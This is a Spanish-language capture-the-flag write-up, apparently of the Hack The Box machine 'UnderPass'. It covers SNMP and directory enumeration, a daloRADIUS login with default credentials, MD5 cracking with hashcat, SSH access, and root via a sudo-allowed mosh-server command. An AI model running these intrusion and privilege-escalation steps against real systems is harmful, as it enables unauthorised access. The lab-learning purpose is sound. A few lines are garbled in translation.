# UnderPass (UDP , TCP)

Mirando la pagina http:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FJUa3DOxXvAKlhdZsI3yl%2Fimage.png?alt=media&#x26;token=53e52d4a-7285-4856-9865-430112782436" alt=""><figcaption></figcaption></figure>

Pruebe un escaneo de puerto UDP:

```
nmap -sU underpass.htb -T5 
```

```
Not shown: 717 closed udp ports (port-unreach), 282 open|filtered udp ports (no-response)
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 888.71 seconds
```

`UDP`Puerto abierto: `161`, y podrás ver que hay un `SNMP`servicio abierto

**SNMP** se llama Protocolo simple de administración de red y su método de comunicación `UDP`es `161`. El servidor **SNMP** , es decir, el extremo administrado donde se consulta la información, usa el puerto y el cliente usa el puerto.`162UDP161162`

### verificación SNMP <a href="#header-id-3" id="header-id-3"></a>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FOYFOzw6xTuwApDqC5xDI%2Fimage.png?alt=media&#x26;token=8607bc4a-0e18-45a1-a843-69517512a9cc" alt=""><figcaption></figcaption></figure>

Puedes ver que hay `steve@underpass.htb`nombres de usuario y hay un `daloradius`servicio para

En su Github encontré un posible camino.`/var/www/daloradius`

{% embed url="<https://github.com/lirantal/daloradius/blob/master/Dockerfile>" %}

### Dirbúsqueda <a href="#header-id-4" id="header-id-4"></a>

```
┌──(docker㉿docker)-[~/HackBox]
└─$ dirsearch -u "http://underpass.htb/daloradius/" -t 50
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FDlk0DWFpryXyRGJ6nEmX%2Fimage.png?alt=media&#x26;token=497e6dd5-7972-481f-8175-42f98d99979b" alt=""><figcaption></figcaption></figure>

Entramos a docker-compose.yml:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FYAioD04YIwCthFsjgWwv%2Fimage.png?alt=media&#x26;token=38b99803-3820-4459-ba9c-5d29daf7f298" alt=""><figcaption></figcaption></figure>

Escaneando nuevo directorio  <http://underpass.htb/daloradius/app/>&#x20;

```
┌──(docker㉿docker)-[~/HackBox]
└─$ dirsearch -u "http://underpass.htb/daloradius/app/" -t 50
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FNdanDUTMb4EfHgX0RyYi%2Fimage.png?alt=media&#x26;token=ccfef9af-7b67-4a09-a495-e4caaa65516b" alt=""><figcaption></figcaption></figure>

Luego `/daloradius/doc/install/INSTALL`encontré la información de la versión y el nombre de usuario y contraseña predeterminados en

Haciendo mas busqueda de directorios de directorios con dirsearch encontramos algo llamado:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F6wSN1hbuCnzlvBmIVuLc%2Fimage.png?alt=media&#x26;token=c87b4655-2f8d-4299-bb42-08694bf930bc" alt=""><figcaption><p>EL CUAL CONTIENE LAS SIGUIENTES CREDENCIALES:</p></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FHOAKJEcZTLs2Y8bYjjwH%2Fimage.png?alt=media&#x26;token=b54523d8-54f0-4df9-9cd6-54389b003d60" alt=""><figcaption></figcaption></figure>

Como no puede `/app/user`iniciar sesión directamente desde , intente realizar `/app`un análisis más completo del directorio sin utilizar el diccionario predeterminado.

```
dirsearch -u "http://underpass.htb/daloradius/app/" -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
```

```
❯ dirsearch -u "http://underpass.htb/daloradius/app/" -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict
 
  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                
 (_||| _) (/_(_|| (_| )                                                                                                                         
                                                                                                                                                
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 220545
 
Output File: /home/kali/UnderPass/reports/http_underpass.htb/_daloradius_app__24-12-22_16-13-23.txt
 
Target: http://underpass.htb/
 
[16:13:23] Starting: daloradius/app/                                                                                                            
[16:13:24] 301 -  330B  - /daloradius/app/common  ->  http://underpass.htb/daloradius/app/common/
[16:13:24] 301 -  329B  - /daloradius/app/users  ->  http://underpass.htb/daloradius/app/users/
[16:13:37] 301 -  333B  - /daloradius/app/operators  ->  http://underpass.htb/daloradius/app/operators/
                                                                              
Task Completed           
```

Utilice `/app/operators`la contraseña predeterminada para iniciar sesión en el backend

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FfiwwuSQLAHcyWMjSKvJL%2Fimage.png?alt=media&#x26;token=c873addf-ddb3-4610-bbb8-475c89f68c46" alt=""><figcaption></figcaption></figure>

### Grieta MD5 <a href="#header-id-5" id="header-id-5"></a>

Valor `Password`encontrado para en la lista de usuarios`MD5`

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FJq7mSz5q4PbH2owXgNMW%2Fimage.png?alt=media&#x26;token=54641fc3-ae1e-42cf-985a-07dd5494bcfb" alt=""><figcaption></figcaption></figure>

usar `John the Ripper`, explotar

```
┌──(docker㉿docker)-[~/HackBox]
└─$ hashcat -m 0 -a 0 md5.txt /usr/share/wordlists/rockyou.txt
```

```
412dd4759978acfcc81deab01b382403:underwat******* HACERLO TU
```

Entramos por ssh:

```
┌──(docker㉿docker)-[~/HackBox]
└─$ ssh svcMosh@underpass.htb
```

```
svcMosh@underpass:~$ ls
user.txt
svcMosh@underpass:~$ 
```

### Escalada de privilegios <a href="#header-id-6" id="header-id-6"></a>

No se encontró nada de valor en la base de datos. Al cargar, Linpeas encontró un comando con permisos especiales.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FidmhVx6goF0yelVLyLvh%2Fimage.png?alt=media&#x26;token=c34a1b02-6fe3-4569-93e8-2f0ef482ce85" alt=""><figcaption></figcaption></figure>

Puede ver `--server`que el comando de parámetro predeterminado es este `mosh-server`, y el comando de superprivilegio propiedad del usuario actual también es este

Por lo tanto puedes conectarte a ti mismo a través de este parámetro:                                                                                                     &#x20;

```
┌──(docker㉿docker)-[~/HackBox]
└─$ mosh --server="sudo /usr/bin/mosh-server" svcMosh@underpass.htb
```

<mark style="color:green;">Somos root:</mark>

```
root@underpass:~# ls
root.txt
```
